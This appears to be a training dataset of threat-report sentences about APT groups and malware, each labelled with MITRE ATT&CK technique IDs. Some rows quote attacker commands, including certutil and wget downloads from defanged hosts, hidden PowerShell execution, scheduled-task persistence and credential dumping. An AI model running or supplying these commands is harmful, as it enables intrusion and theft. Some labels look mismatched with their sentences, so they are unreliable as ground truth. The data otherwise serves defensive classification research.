text1 stringlengths 7 2.5k | labels stringlengths 9 100 |
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Escalate Privileges APT40 uses a mix of custom and publicly available credential harvesting tools to escalate privileges and dump password hashes | ['T1003', 'T1068'] |
Examining the use of the unique user agents’ strings over time shows that while previously only the Mozilla/5.0 user agent was in use, since mid 2017 all three user agent strings have been used by the Zebrocy tool for its C2 communications | ['T1033', 'T1543.001'] |
Exfiltration BRONZE UNION has also leveraged various web shells to collect and stage data for exfiltration | ['T1074', 'T1505.003', 'T1132'] |
Figure 11: XML configuration file to schedule the task The Zyklon malware first retrieves the external IP address of the infected machine using the following: api.ipify[.]org ip.anysrc[.]net myexternalip[.]com whatsmyip[.]com The Zyklon executable contains another encrypted file in its .Net resource section named tor | ['T1036', 'T1027'] |
Figure 12: RSA public key 1 Figure 13: RSA public key 2 Figure 14: AES encryption parameters After encryption, the cipher text to be sent over C2 is Base64 encoded | ['T1573'] |
Figure 13: Zyklon issuing “settings” command and subsequent server response Figure 14: Zyklon issuing “sign” command and subsequent server response Figure 15: Zyklon issuing “ddos” command and subsequent server response Plugin Manager Zyklon downloads number of plugins from its C2 server | ['T1016', 'T1105'] |
Figure 2: Textbox inside DOC The combined script from Word textbox drops the following components: \Users\[user_name]\Intel\58d2a83f7778d5.36783181.vbs \Users\[user_name]\Intel\58d2a83f777942.26535794.ps1 \Users\[user_name]\Intel\58d2a83f777908.23270411.vbs Also, the script creates a named schedule task for persistence... | ['T1033', 'T1036', 'T1087', 'T1064', 'T1204'] |
Figure 26. Communication with the C&C server after the exchange of OS packet info Meanwhile, the runHandle method of the main backdoor loop will call for the requestServer method with the following backdoor commands (each command has one byte long code and is extracted by Packet::getCommand): Figure 27. The getComman... | ['T1140', 'T1008'] |
Figure 4: APT32 ActiveMime Lures Create Two Named Scheduled Tasks In this example, a scheduled task named “Windows Scheduled Maintenance” was created to run Casey Smith’s “Squiblydoo” App Whitelisting bypass every 30 minutes | ['T1053.005', 'T1036'] |
Figure 5: Sample pseudo-HTTP beacon The pseudo-HTTP protocol uses any proxies discovered by the HTTP proxy monitoring thread or added by the adminka command | ['T1071', 'T1090'] |
File Indicators Samples Observed from Spear Phishing Messages Above Filename Chinas_Arctic_Dream.doc File Size 6587812 bytes MD5 598eeb6a18233023f3551097aa49b083 SHA1 e9a46966f93fe15c22636a5033c61c725add8fa5 Notes Malicious RTF document that exploits CVE-2017-8570 and drops QuasarRAT file qrat.exe | ['T1036', 'T1083'] |
Filename The_Four_Traps_for_China.doc File Size 4428595 bytes MD5 7659c41a30976d523bb0fbb8cde49094 SHA1 3f1f3e838a307aff52fbcb5bba5e4c8fe68c30e5 Notes Malicious RTF document that exploits CVE-2017-8570 and drops QuasarRAT file qrat.exe | ['T1036'] |
FIN7 uses CARBANAK as a post-exploitation tool in later phases of an intrusion to cement their foothold in a network and maintain access, frequently using the video command to monitor users and learn about the victim network, as well as the tunnel command to proxy connections into isolated portions of the victim enviro... | ['T1090', 'T1049'] |
Finally, the malware executes the extracted install.bat script before deleting the original files and exiting | ['T1070.004', 'T1064'] |
Finally, the Trojan creates a scheduled task to run itself every three minutes by running the following command on the command prompt after replacing the %path% string with the path to the srvResesponded.vbs VBScript:SchTasks /Create /SC MINUTE /MO 3 /TN “InetlSecurityAssistManager” /TR “wscript %path%” /f The Trojan u... | ['T1071', 'T1053.005'] |
First, the macro attempts to enable macros in multiple versions of Word, PowerPoint, Publisher and Excel by setting the following registry keys to the value of 1: HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings The macro also attempts to disable protections provided by the Protected View capability withi... | ['T1553.002', 'T1518.001', 'T1005', 'T1027.001', 'T1112', 'T1598.002', 'T1204', 'T1203', 'T1497'] |
Following these checks, it drops several more malware files signed with the pasted AMD digital signature to a directory it creates | ['T1553.002', 'T1083'] |
For example, From <COMPUTER-NAME> (01-04 11-40-02).txt All the text files are now packed into the archive temp.zip (%temp%\temp.zip) zip is Base64 encoded (with a custom key, same as that used in the malicious document) and then copied to post.txt txt is uploaded to the control server Additional Commands and Capabili... | ['T1059', 'T1560', 'T1132'] |
For example, the following string would be included in one of the HTTP parameters sent to the C2 server: eRmaVsr90D-7Ig1ngV3PkdouzP974 In this specific case, the actor made a mistake when configuring this XAgent sample with its C2 locations | ['T1071', 'T1008'] |
For instance, here are the resulting decrypted strings from each of the case statements (dd7e69e1…): Case – String decrypted 1 – 185.25.50[.]93 2 – POST http://185.25.50[.]93/syshelp/kd8812u/protocol.php HTTP/1.1\r\nHost: 185.25.50[.]93\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 3 – porg= 4 –... | ['T1071', 'T1140', 'T1008'] |
For instance, the following data exists within a resource: fb 70 b0 c9 bd c5 8a d4 0c 54 fd 4c 6d bb f0 0f By multiplying each byte with -1, we obtain the following data: 05 90 50 37 43 3b 76 2c f4 ac 03 b4 93 45 10 f1 After using RC4 and the key 14331d289e737093994395d3fc412afc, the following cleartext data appears: \... | ['T1036', 'T1064', 'T1486'] |
From our analysis, stealing keystrokes is the main function of RunningRat; however, the DLL has code for more extensive functionality | ['T1140', 'T1056'] |
From those servers the threat actor could use a web shell to retrieve the encrypted archives: copy \\{FILE PATH}\c$\programdata\*.tmp \\{FILE PATH}\ServiceDesk\custom\style After exfiltrating the files, the threat actor used web shell access on the staging server to delete the staged RAR archives and detach their netw... | ['T1070.004', 'T1505.003'] |
Function for scrambling AES256 key in the outgoing packet Some screenshots taken during scrambling and encryption process: Figure 21. The highlighted bytes represent the scrambled computer info Figure 22. Randomly generated AES256 key Figure 23. Scrambled AES256 key (0xC1 XOR 0x13 = 0xD2, 0xD2 ROL 6 = 0xB4) etc.... | ['T1113', 'T1573'] |
Gather the process time for all processes Getting time information for all processes running on the system | ['T1055', 'T1057', 'T1124'] |
Generate payloads in various formats: Format Architecture Short Name Android Package x86 & ARMv7 apk Linux Binary x86 lin_x86 Linux Binary x64 lin_x64 Linux Shared Object x86 so_x86 Linux Shared Object x64 so_x64 Windows PE Executable x86 exe_x86 Windows PE Executable x64 exe_x64 Windows DLL x86 ... | ['T1106', 'T1010', 'T1059.001'] |
Get-Process | select Company Checks to see if any running processes have “Wireshark” or “Sysinternals” as the company name | ['T1518.001', 'T1057'] |
Having a Meterpreter session on a compromised computer allows for full control of the computer and exfiltration of any data, and in some cases lateral movement inside the organization | ['T1123', 'T1132'] |
Here is the content of the file: /shellcode <90909090909090909090E800<...redacted…>4D2D6DC95CBD5DC1811111111111111> def <7B0D0A2756...redacted…>312067657420636C6F736566696C650D0A717569740D0A7D> token pop exch pop Exec The executed shellcode will first perform a decoding routine designed to download an additional paylo... | ['T1064', 'T1105'] |
High Commissioner of Bangladesh Pakistan eying Sukhoi-35 fighter planes as part of defense deal from Russia 2018.143 PG COURSE IN 2018-2021 BATCH India Bangladesh and Pakistan Press Release on Observance of Historic Mujibnogor Dibosh by Pakistan Mission on 17 April 2018 Afghan Bomb Blast report by ISI USAJOBS Daily Sav... | ['T1083'] |
Hook module structure After decrypting the strings, it became clear that the Linux Hook main module communicated with the same CnC server as other Windows modules: The CNC’s IP address in the Linux module This Linux module can process the following commands, some of which are similar to the Windows version: die de... | ['T1106', 'T1070.004', 'T1105'] |
However, if you DO get infected, you’ll want to delete the following registry keys (if they exist): HKLM/System/CurrentControlSet/Services/DirecastX ytasda jrqq HKLM/System/CurrentControlSet/Services/DirectX yta jsdrq HKLM/System/CurrentControlSet/Services/DirectX ytsda jrq Additionally, you’ll want to delete any copie... | ['T1070.004', 'T1112'] |
However, we were able determine a unique, hard-coded user agent used for the C2 communications: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Using AutoFocus, we pivoted from the user agent string to expand our d... | ['T1087', 'T1543.001'] |
If that fails, the payload will use DNS tunneling by first issuing a DNS query to resolve the following domain to notify the C2 that the payload will send data to it in subsequent DNS queries: ns1.<random number between 100000 and 999999>.<c2 name> The payload will then split the message up into 60-byte chunks (onl... | ['T1071', 'T1573', 'T1048', 'T1008'] |
If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL:http://<c2 domain>/what?<hex(Environment.UserName/Environment.MachineName)> After issuing the what command, the Trojan will parse the C2’s... | ['T1071', 'T1573', 'T1041', 'T1571', 'T1132', 'T1008', 'T1043'] |
If the mutex does not exist and a Windows Startup Registry key with name “System Update” does not exist, the malware performs its initialization routine by: Copying itself to the path %PROGRAMDATA%\svchost.exe Sets the Windows Startup Registry key with the name “System Update” which points to the above dropped payload | ['T1112', 'T1547.001'] |
If there are keys for the string encryption with the XOR algorithm, the configuration data will be also encrypted with the XOR algorithm | ['T1573', 'T1027'] |
If the Trojan receives this echo, it will create the following file that the Trojan uses as a signal that it was able to successfully communicate with its C2 server: %APPDATA%\Windows\ShwDoc.srv If the Trojan determines the C2 server wishes to send a command, it sends an HTTP request to the following URL: hxxp://www.wi... | ['T1071', 'T1008'] |
If unable to contact the C2 server initially, the shellcode is configured to reattempt communication with the C2 server address in the following pattern: [a-z][a-z][a-z].stage.14919005.www1.proslr3[.]com VBScript #2 “mshta.exe” further executes the second VBScript “58d2a83f777908.23270411.vbs”, which creates a folder ... | ['T1036', 'T1064'] |
In 2016, CTU researchers observed the group using native system functionality to disable logging processes and delete logs within a compromised environment | ['T1562.001', 'T1070.004'] |
In all of the DropIt samples we collected, the dropper will then save the executable to the user’s %TEMP% folder and execute the file, specifically to one of the following filenames: %TEMP%\spp.exe %TEMP%\sloo.exe %TEMP%\spoo.exe %TEMP%\vschos.exe We have also seen Magic Hound using DropIt like a binder Trojan, speci... | ['T1055.012', 'T1036'] |
In December 2018, a thread on HackForums described a change in the ownership and ongoing development of the HawkEye keylogger.Shortly following this exchange, new posts began to appear that were attempting to market and sell new versions of HawkEye (HawkEye Reborn v9), with these new posts also referencing the change i... | ['T1543.003', 'T1008'] |
Indicators File Hash Description x.js 3fefa55daeb167931975c22df3eca20a HOMEFRY, a 64-bit Windows password dumper/cracker mt.exe 40528e368d323db0ac5c3f5e1efe4889 MURKYTOP, a command-line reconnaissance tool com4.js a68bf5fce22e7f1d6f999b7a580ae477 AIRBREAK, a JavaScript-based backdoor which retrieves comman... | ['T1140'] |
Indicators of compromise MITRE ATT&CK techniques Modify existing service Code signing File deletion Deobfuscate/decode files or information System information discovery Process discovery Service execution RunDLL32 Scripting Command-line Interface Data from local system Automated exfiltration Data encrypted Commonly us... | ['T1048'] |
Indirect Code Execution Through INF and SCT This scriptlet code execution technique leveraging INF and SCT files was recently discovered and documented in February 2018 | ['T1140', 'T1064'] |
In one incident, the threat actor used the Wrapikatz tool (w.exe) with a usage statement that retrieves various passwords and Windows credentials from memory and compiles them in w.txt: c:\programdata\w.exe –w –l –c>>c:\programdata\w.txt In a separate incident, the threat actor used access provided by extensive web she... | ['T1003', 'T1068'] |
In other cases, threat actors placed web shells on externally accessible servers, sometimes behind a reverse proxy, to execute commands on the compromised system | ['T1090', 'T1059', 'T1505.003'] |
In particular, the threat actors have exploited CVE-2011-3544, a vulnerability in the Java Runtime Environment, to deliver the HttpBrowser backdoor; and CVE-2010-0738, a vulnerability in JBoss, to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code | ['T1068', 'T1203'] |
Interestingly, the attacker has used the >> method to append to the file so there can be multiple outputs written to their single TMP file: "C:\Windows\system32\cmd.exe" /C systeminfo >> "C:\Ahnlab\$$$A24F.TMP" "C:\WINDOWS\system32\cmd.exe" /C tasklist /v >> "C:\Ahnlab\$$$A24F.TMP" NavRAT Capabilities NavRAT is a... | ['T1074', 'T1105'] |
In the event this privilege was obtained, the common startup folder is queried by reading the following registry key: HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Startup Alternatively, if the privilege was unable to be obtained, Reaver.v2 will obtain the user’s startup folder by query... | ['T1547.001', 'T1012'] |
In the following example, archives for exfiltration were renamed as .tmp files: move \\{FILE PATH}\c$\programdata\AT.part01.rar \\{FILE PATH}\c$\programdata\at01.tmp The TMP files were then staged for exfiltration on Internet-facing servers that had previously been compromised with the China Chopper web shell | ['T1070.004', 'T1074'] |
In this campaign, the group sent spear phishing emails containing malicious documents that led to the installation of the UPPERCUT backdoor | ['T1598.003', 'T1598.002'] |
In this particular instance, the following script is retrieved:@echo off :if exist "%PROGRAMFILES(x86)%" (GOTO 64BITOS) ELSE (GOTO 32BITOS) :32BITOS certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup.txt > nul certutil -decode -f setup.txt setup.cab > nul del /f /q setup.txt > nul GOTO ISEXIST :64BITOS ... | ['T1071', 'T1218.011'] |
IOCs Domain supservermgr[.]com URL hxxp://supservermgr[.]com/sys/upd/pageupd.php Zebrocy d697160aecf152a81a89a6b5a7d9e1b8b5e121724038c676157ac72f20364edc cba5ab65a24be52214736bc1a5bc984953a9c15d0a3826d5b15e94036e5497df 25f0d1cbcc53d8cfd6d848e12895ce376fbbfaf279be591774b28f70852a4fd8 115fd8c619fa173622c7a1e84efdf6fed08a... | ['T1087'] |
Irdsnhrxxxfery64 manipulation on userinit.exe & unins000.exe Injection Technique To Increase Stealthiness After locating one of the target processes, the malware uses Process Hollowing (MITRE Technique T1093) to evasively create a new process from a legitimate source | ['T1055.012', 'T1057'] |
It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string | ['T1082', 'T1071'] |
It executes the other modules and collects initial information about the machine, including information about the network, locale, and the keyboard language. The main module collecting information about the machine | ['T1082', 'T1016', 'T1087'] |
It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell | ['T1113', 'T1083'] |
It sets keyboard and mouse hooks to its handlekeys() and MouseHookProc() functions respectively and starts several working threads: ID Thread description 1 Gets commands from C2 and saves them to a file and system registry using the bitsadmin.exe utility 2 Decrypts command from registry using RC4 with a hardcode... | ['T1113', 'T1115'] |
It then creates the following registry key to automatically run the Trojan each time the system starts: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\@RANDOM@ The main behavior carried out by this Trojan involves obtaining an embedded executable, hollowing the current Trojan, writing the new embed... | ['T1055.012', 'T1547.001'] |
It then launches player.exe, a CozyDuke dropper maintaining anti-detection techniques: 3d3363598f87c78826c859077606e514,player.exe,338kb,Trojan.Win32.CozyBear.v,CompiledOn:2014.07.02 21:13:33 Anti-detection and trojan functionality The file collects system information, and then invokes a WMI instance in the root\securi... | ['T1518.001', 'T1036'] |
JAVASCRIPT CODE SNIPPETS: The first stage JavaScript copies additional JavaScript code snippets in txt format from the RTF document into a random directory “C:\Users\<User Name>\<Random guid>\” | ['T1033', 'T1064'] |
Just like in the sandbox checks, the Trojan checks for an attached debugger each time it issues a DNS query; if it does detect a debugger it will issue a DNS query to resolve 676f6f646c75636b.gogle[.]co | ['T1518.001', 'T1124', 'T1497'] |
Lateral Movement, Maintain Presence, and Complete Mission APT39 facilitates lateral movement through myriad tools such as Remote Desktop Protocol (RDP), Secure Shell (SSH), PsExec, RemCom, and xCmdSvc | ['T1021.001', 'T1021'] |
Like the ChinaChopper web shell, the OwaAuth web shell requires a password | ['T1059', 'T1505.003'] |
Malware Capabilities WINDSHIELD Command and control (C2) communications via TCP raw sockets Four configured C2s and six configured ports – randomly-chosen C2/port for communications Registry manipulation Get the current module's file name Gather system information including registry values, user name, computer name... | ['T1041'] |
Newer HttpBrowser versions use SSL with self-signed certificates to encrypt network communications | ['T1553.002', 'T1573'] |
Obfuscation Mechanism for the JScript Code The malicious JScript code obfuscation relies on two main techniques | ['T1140', 'T1027'] |
Office365DCOMCheck.ps1 and SystemDiskClean.ps1): wscript.exe "Office365DCOMCheck.vbs" \"PowerShell.exe -ExecutionPolicy bypass -WindowStyle hidden -NoProfile '<current PowerShell script>' \" After setting up persistent access, the payload checks to see if a value exists within a registry key in the HKCU hiv... | ['T1036', 'T1012'] |
Office365DCOMCheck.vbs or SystemDiskClean.vbs) within the %TEMP% folder: CreateObject("WScript.Shell").Run "" & WScript.Arguments(0) & "", 0, False The scheduled task will then run every five minutes, which provides persistent execution of the downloader script | ['T1053.005', 'T1059', 'T1064', 'T1547.001'] |
Old Comnie Variant C2 Decoder 12345678910111213141516171819 import requestsimport sysimport redef decode(data): o = "" for c in data: if c == "*": o += "." elif c == "|": o += ":" elif c == "+": o += ";" else: o += chr(ord(c)-49) return or = requests.get(sys.argv[1])fd = r.textd... | ['T1043'] |
Once all the tasks have been executed completely, the malware breaks the loop, sends the termination buffer back, and clears all the footprints from the targeted machine: Deletes the LNK file from the startup directory | ['T1070.004', 'T1547.009'] |
Once the payload is successfully executed, it will proceed to copy files to the following locations: C:\ProgramData\ManagerApp\AdapterTroubleshooter.exe C:\ProgramData\ManagerApp\15b937.cab C:\ProgramData\ManagerApp\install.cab C:\ProgramData\ManagerApp\msvcr90.dll C:\ProgramData\ManagerApp\d3d9.dll The “AdapterTroub... | ['T1055', 'T1574.001', 'T1574.002'] |
One such email that we were able to obtain was targeting users in Turkey, as shown in Figure 4: Figure 4: Sample spear phishing email containing macro-based document attachment The malicious Microsoft Office attachments that we observed appear to have been specially crafted for individuals in four countries: Turkey,... | ['T1598.002', 'T1204'] |
OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0 | ['T1027.002', 'T1027'] |
Our analysis of the backdoors used in the September 2018 attacks show that AuditCred.dll/ROptimizer.dll was similarly used: FileTokenBroker.dll (2017 attack) AuditCred.dll/Roptimizer.dll (2018 attack) Launch Method Service Service Function Loader Component Loader Component Working directory %Windows%\Syste... | ['T1055', 'T1574.001', 'T1218.011', 'T1574.002'] |
Our observation of related actions here: u ps start password stealing (Windows) Ps_mps/ps_hwi start start password stealing (Linux, MIPS, ARM) uper_mps/uper_hwi start rewrite hook module with a new version and launch it (Linux, MIPS, ARM) Nm_mps/nm_hwi start –ban -middle Scan ports and retrieve banners on th... | ['T1003'] |
Part of packed VM PCODE After unpacking, the PCODE it will look like the following: Unpacked PCODE After unpacking the virtual machine PCODE is then decrypted: Decrypted VM PCODE The custom virtual machine supports a total of 34 instructions: Example of parsed PCODE In this example, the “1b” instruction is responsible ... | ['T1140', 'T1027.001', 'T1027.002', 'T1497'] |
Persistence Mechanism Figure 3 shows that for persistence, the document creates two scheduled tasks and creates one auto-start registry entry pointing to the LNK file | ['T1053.005', 'T1547.001'] |
POSHSPY WMI Component The WMI component of the POSHSPY backdoor leverages a Filter to execute the PowerShell component of the backdoor on a regular basis | ['T1047', 'T1059.001'] |
powershell.exe -w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content C:\ProgramData\ZIPSDK\ProjectConfManagerNT.ini)))); PowerShell one-liner Encoded text file Execution flow: The PowerShell code When PowerShell is invoked whether via WMI... | ['T1036', 'T1059.001'] |
PowerShell Script “58d2a83f777942.26535794.ps1” is a multilayer obfuscated PowerShell script, which launches shellcode for a Cobalt Strike stager | ['T1027', 'T1059.001'] |
Previous related research: https://sec0wn.blogspot.com/2018/05/clearing-muddywater-analysis-of-new.html?m=1 https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/ https://blog.malwarebytes.com/threat-analysis/2017/09/elaborate-scripting-fu-used-in-espionage-attack-against-saudi-arabia-government_entity/ https... | ['T1071'] |
Probably full and active window screenshot quality captureActiveQC 40 CaptureSites VPN*0,0 Login*0,0 mail*0,0 Security*0,0 Window titles of interest for screenshots, using left mouse button and Enter keypress hook important upLog.txt upSCRLog.txt upSpecial.txt upFile.txt upMSLog.txt List of files to send to C2 us... | ['T1071', 'T1041'] |
Procmon shows the malicious module loaded using the regsvr32.exe process. Phase two: Payload Analysis The only module the XSL script loads is Irdsnhrxxxfery64, which is packed using the UPX packer | ['T1218.010', 'T1027.002'] |
RAR Creates RAR files per logical drive containing data with timestamps for the past 7 days, then uploads RAR to the C2 server using a POST command at the path “/FeedBack.php” | ['T1041', 'T1560'] |
Read a specified file’s contents and send the data to the control server Write data sent by the control server to an existing file Mark a file to be deleted on reboot Marking a file for deletion on reboot | ['T1070.006', 'T1041'] |
Reaver.v1 has been observed delivering a payload that uses HTTP for network communication, while versions 2 and 3 use a payload that uses raw TCP connections for this communication | ['T1071', 'T1049'] |
Reaver will then install itself as a service in the event it is running with SeDebugPrivilege privileges. The service is configured with a name, description, and display name that is provided within the configuration | ['T1007', 'T1543.003'] |
Registry key “Software\Microsoft\Windows\CurrentVersion\Internet Settings\” is queried to gather proxy information with values ProxyEnable, Proxy: (NO), Proxy, ProxyServer | ['T1090', 'T1012'] |
Remexi includes different modules that it deploys in its working directory, including configuration decryption and parsing, launching victim activity logging in a separate module, and seven threads for various espionage and auxiliary functions | ['T1562.001', 'T1083'] |
RIPTIDE’s first communication with its C2 server fetches an encryption key, and the RC4 encryption key is used to encrypt all further communication | ['T1573'] |
SA Generates the following IRC client command that will be sent to the C2 server: PRIVMSG <username> : Hello ,my name is <IRC USER name>, Im ready my Computer Name is:<computer name> All of the commands, except for the VER command, must be issued by individuals in the IRC channel with nicknames that start with “AS... | ['T1033', 'T1082'] |
Sample(s) f1b2bc0831445903c0d51b390b1987597009cc0fade009e07d792e8d455f6db0 5cc62ad6baf572dbae925f701526310778f032bb4a54b205bada78b1eb8c479c DNS tbs1/tbs2.microsoftonline.services Domains 0ffice365[.]agency 0ffice365[.]life 0ffice365[.]services 0nedrive[.]agency corewindows[.]agency microsoftonline[.]... | ['T1007', 'T1543.003'] |
Screen capture and audio recording SpyNote RAT was able to take screen captures and, using the device’s microphone, listen to audio conversations | ['T1113', 'T1123'] |
SCT File Analysis The code of the Defender.sct file is an obfuscated JavaScript | ['T1064', 'T1027'] |
SECOND STAGE JAVASCRIPT INTO POWERSHELL: The second stage JavaScript creates a PowerShell file with the same name in the same directory | ['T1064', 'T1547.001', 'T1059.001'] |
Service providers have significant access to customer networks, enabling an attacker who had compromised a service provider to move laterally into the network of the service provider’s customer | ['T1543.003', 'T1021'] |
Serving the backdoor Another HTTP request is sent to the targeted server, with the following resource: /?module=wget hxxp://67[.]209.177.163/ibus -O /tmp/e3ac24a0bcddfacd010a6c10f4a814bc The above standard injection pulls the ibus payload and stores it on /tmp/e3ac24a0bcddfacd010a6c10f4a814bc Launching the backdoor ... | ['T1070.004', 'T1074'] |
Similar to the previous case, if Avast and aswrundll.exe are on the machine, Irdsnhrxxxfery98 will be injected into that process instead of regsvr32.exe. Irdsnhrxxxfery64 injecting lrdsnhrxxfery98 | ['T1055', 'T1218.010'] |
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